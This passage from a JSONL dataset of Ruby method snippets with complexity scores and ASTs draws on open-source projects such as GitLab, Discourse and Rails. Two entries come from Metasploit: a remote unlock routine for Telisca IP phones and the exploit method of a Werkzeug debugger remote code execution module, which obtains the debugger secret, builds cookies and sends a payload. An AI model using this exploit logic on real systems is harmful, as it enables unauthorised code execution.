",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_action_type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inappropriate\"]}]}]}]}]},\"exists?\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"ed85db66-2966-49dd-a2db-2c1df28faeb4"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/search/reading_list.rb","start_line":33,"raw_source":"def self.search_documents(user, term: nil, statuses: [], tags: [], page: 0, per_page: DEFAULT_PER_PAGE)\n      return {} unless user\n\n      statuses = statuses.presence || DEFAULT_STATUSES\n      tags = tags.presence || []\n\n      # TODO: [@rhymes] we should eventually update the frontend\n      # to start from page 1\n      page = page.to_i + 1\n      per_page = [(per_page || DEFAULT_PER_PAGE).to_i, MAX_PER_PAGE].min\n\n      result = find_articles(\n        user: user,\n        term: term,\n        statuses: statuses,\n        tags: tags,\n        page: page,\n        per_page: per_page,\n      )\n\n      # NOTE: [@rhymes] an earlier version used `Article.includes(:user)`\n      # to preload users, unfortunately it's not possible in Rails to specify\n      # which fields of the included relation's table to select ahead of time.\n      # The `users` table is massive (115 columns on March 2021) and thus we\n      # shouldn't load it all in memory just to select a few fields.\n      # For these reasons I decided to avoid preloading altogether and issue\n      # an additional SQL query to load User objects\n      # (see https://github.com/forem/forem/pull/4744#discussion_r345698674\n      # and https://github.com/rails/rails/issues/15185#issuecomment-351868335\n      # for additional context)\n      user_ids = result[:items].pluck(:user_id)\n      users = find_users(user_ids)\n\n      {\n        items: serialize(result[:items], users),\n        total: result[:total]\n      }\n    end","complexity_score":25.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"search_documents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"term\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"statuses\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"page\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"per_page\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"statuses\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"statuses\"]},\"presence\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_STATUSES\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},\"presence\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"to_i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]}]},\"to_i\"]},{\"type\":\"const\",\"children\":[null,\"MAX_PER_PAGE\"]}]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"find_articles\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"term\"]},{\"type\":\"lvar\",\"children\":[\"term\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"lvar\",\"children\":[\"statuses\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"items\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"send\",\"children\":[null,\"find_users\",{\"type\":\"lvar\",\"children\":[\"user_ids\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"items\"]},{\"type\":\"send\",\"children\":[null,\"serialize\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"items\"]}]},{\"type\":\"lvar\",\"children\":[\"users\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"total\"]}]}]}]}]}]}","id":"68cd931b-4ccd-40f7-9164-eb60506b09eb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/provider/slack/slack_transcript.rb","start_line":10,"raw_source":"def initialize(channel_name:, channel_id:, requested_thread_ts: nil)\n      @channel_name = channel_name\n      @channel_id = channel_id\n      @requested_thread_ts = requested_thread_ts\n\n      @first_message_index = 0\n      @last_message_index = -1 # We can use negative array indicies to select the last message - fancy!\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel_name\"]},{\"type\":\"kwarg\",\"children\":[\"channel_id\"]},{\"type\":\"kwoptarg\",\"children\":[\"requested_thread_ts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@channel_name\",{\"type\":\"lvar\",\"children\":[\"channel_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@channel_id\",{\"type\":\"lvar\",\"children\":[\"channel_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@requested_thread_ts\",{\"type\":\"lvar\",\"children\":[\"requested_thread_ts\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@first_message_index\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_message_index\",{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"4aec125e-f6f6-41d3-a19b-332329c6092c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/disable_legacy_open_source_license_for_inactive_public_projects.rb","start_line":19,"raw_source":"def perform\n        each_sub_batch(\n          batching_scope: ->(relation) {\n            relation.where(visibility_level: PUBLIC).where('last_activity_at < ?', LAST_ACTIVITY_DATE)\n          }\n        ) do |sub_batch|\n          ProjectSetting.where(project_id: sub_batch).update_all(legacy_open_source_license_available: false)\n        end\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batching_scope\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_level\"]},{\"type\":\"const\",\"children\":[null,\"PUBLIC\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"last_activity_at < ?\"]},{\"type\":\"const\",\"children\":[null,\"LAST_ACTIVITY_DATE\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectSetting\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"legacy_open_source_license_available\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"02e92eae-9805-471e-8202-b0d1d2095cc7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_unix.rb","start_line":50,"raw_source":"def start\n      super\n\n      @lsock = listen\n      event_loop_attach(@lsock)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@lsock\",{\"type\":\"send\",\"children\":[null,\"listen\"]}]},{\"type\":\"send\",\"children\":[null,\"event_loop_attach\",{\"type\":\"ivar\",\"children\":[\"@lsock\"]}]}]}]}","id":"6317265f-b474-47d4-9e3f-731dc86b23d1"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/ast/ast_node_class_map.rb","start_line":24,"raw_source":"def extension_map\n        @extension_map ||=\n          begin\n            assoc = SexpExtensions.constants.map do |const|\n              [\n                const.to_s.sub(/Node$/, '').downcase.to_sym,\n                SexpExtensions.const_get(const)\n              ]\n            end\n            assoc.to_h\n          end\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extension_map\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@extension_map\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assoc\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SexpExtensions\"]},\"constants\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"const\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"const\"]},\"to_s\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Node$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"downcase\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SexpExtensions\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"const\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc\"]},\"to_h\"]}]}]}]}","id":"3c4fb552-f4b9-405d-9d22-98f6d80e1b89"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/voip/telisca_ips_lock_control.rb","start_line":129,"raw_source":"def unlock(phone_name)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => '/IPSPCFG/user/Default.aspx',\n      'headers' => {\n        'Connection' => 'keep-alive',\n        'Accept-Language' => 'en-US,en;q=0.5'\n      },\n      'vars_get' => {\n        'action' => 'U7LCK',\n        'pn' => phone_name,\n        'dp' => ''\n      }\n    })\n\n    unless res\n      print_error('The connection timed out while trying to unlock')\n      return\n    end\n\n    unless res.code == 200\n      print_error(\"Unexpected response #{res.code}\")\n      return\n    end\n\n    if res.body.include?('Unlock') || res.body.include?('U7LCK')\n      print_good(\"The device #{phone_name} is already locked\")\n    elsif res.body.include?('unlocked') || res.body.include?('QUIT')\n      print_good(\"The device #{phone_name} successfully unlocked\")\n    else\n      print_error('Unexpected reply')\n    end\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unlock\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"phone_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/IPSPCFG/user/Default.aspx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"keep-alive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Language\"]},{\"type\":\"str\",\"children\":[\"en-US,en;q=0.5\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"U7LCK\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pn\"]},{\"type\":\"lvar\",\"children\":[\"phone_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dp\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The connection timed out while trying to unlock\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected response \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Unlock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"U7LCK\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The device \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_name\"]}]},{\"type\":\"str\",\"children\":[\" is already locked\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"unlocked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"QUIT\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The device \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phone_name\"]}]},{\"type\":\"str\",\"children\":[\" successfully unlocked\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unexpected reply\"]}]}]}]}]}]}","id":"12ad1584-3f10-44cf-8796-e15e966375c0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/group_clusterable_presenter.rb","start_line":24,"raw_source":"def update_cluster_migration_path(cluster)\n    update_migration_group_cluster_path(clusterable, cluster)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_cluster_migration_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster\"]}]},{\"type\":\"send\",\"children\":[null,\"update_migration_group_cluster_path\",{\"type\":\"send\",\"children\":[null,\"clusterable\"]},{\"type\":\"lvar\",\"children\":[\"cluster\"]}]}]}","id":"55b2757d-f1cb-4b0b-bd55-429131e511ad"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/vim_soap.rb","start_line":7,"raw_source":"def vim_soap_envelope(body)\n    soap_data = '<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">'\n    soap_data << '<env:Body>'\n    soap_data << body\n    soap_data <<  '</env:Body></env:Envelope>'\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"vim_soap_envelope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"body\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"str\",\"children\":[\"<env:Envelope xmlns:xsd=\\\"http://www.w3.org/2001/XMLSchema\\\" xmlns:env=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\">\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"soap_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<env:Body>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"soap_data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"soap_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</env:Body></env:Envelope>\"]}]}]}]}","id":"6763bbfc-4424-45f1-8803-c393774928ba"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":1528,"raw_source":"def create_scaffold\n        rails \"generate\", \"scaffold\", \"user\", \"name:string\"\n        assert File.exist?(\"#{app_path}/app/models/user.rb\")\n        run_migration\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_scaffold\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"generate\"]},{\"type\":\"str\",\"children\":[\"scaffold\"]},{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"name:string\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\"]}]},{\"type\":\"str\",\"children\":[\"/app/models/user.rb\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"run_migration\"]}]}]}","id":"19000d22-d212-4137-913d-1d5bdfe402ac"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/family.rb","start_line":17,"raw_source":"def member_count\n    @member_count ||= members.count\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"member_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@member_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"members\"]},\"count\"]}]}]}","id":"7514a1e9-0fc1-401d-ad50-d51248d1852e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository.rb","start_line":175,"raw_source":"def diff_format_revisions(cs, cs_to, sep = \":\")\n    text = \"\"\n    text += (cs_to.format_identifier + sep) if cs_to\n    text += cs.format_identifier if cs\n    text\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_format_revisions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cs\"]},{\"type\":\"arg\",\"children\":[\"cs_to\"]},{\"type\":\"optarg\",\"children\":[\"sep\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs_to\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs_to\"]},\"format_identifier\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"sep\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cs\"]},\"format_identifier\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"c3357a77-7a20-47a6-8275-7d9d7f9e368f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import/page_counter.rb","start_line":21,"raw_source":"def set(page)\n        Gitlab::Cache::Import::Caching.write_if_greater(cache_key, page)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Cache\"]},\"Import\"]},\"Caching\"]},\"write_if_greater\",{\"type\":\"send\",\"children\":[null,\"cache_key\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}","id":"d2c14416-f92a-4cff-91da-5b9823effd93"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/werkzeug_debug_rce.rb","start_line":375,"raw_source":"def exploit\n    # First we try to get the SECRET code (and frame number if debugger rather than console)\n    fail_with(Failure::UnexpectedReply, 'Werkzeug \"Secret\" could not be retrieved') unless (match = secret_and_frame)\n    vprint_status \"Secret Code: #{match[:secret]}\"\n    vprint_status \"Frame: #{match[:frame] || 0}\" # Frame should be set to 0 if not in response (e.g. if using console)\n\n    case datastore['AUTHMODE']\n    when 'known-PIN'\n      cookies = cookies match[:secret]\n      vprint_status \"Authenticated using PIN: #{datastore['PIN']}\"\n      print_status \"Retrieved authentication cookie: #{cookies}\"\n    when 'known-cookie'\n      cookies = datastore['cookie']\n    when 'generated-cookie'\n      cookies = generated_cookie\n    end\n\n    # Check whether code execution is possible by evaluating something\n    unless check_code_exec(match[:secret], match[:frame] || 0, cookies)\n      fail_with(Failure::NoAccess, 'Response indicates that code execution failed')\n    end\n    vprint_status 'Code execution was successful. Sending payload.'\n\n    # Send the payload to the debugger along with the values extracted from the previous response\n    res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies)\n    unless res.body.start_with? '>>> '\n      fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully')\n    end\n    vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors'\n  end","complexity_score":53.1,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[null,\"secret_and_frame\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Werkzeug \\\"Secret\\\" could not be retrieved\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Secret Code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Frame: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"frame\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AUTHMODE\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"known-PIN\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[null,\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"secret\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticated using PIN: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PIN\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved authentication cookie: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"known-cookie\"]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cookie\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"generated-cookie\"]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[null,\"generated_cookie\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_code_exec\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"secret\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"frame\"]}]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Response indicates that code execution 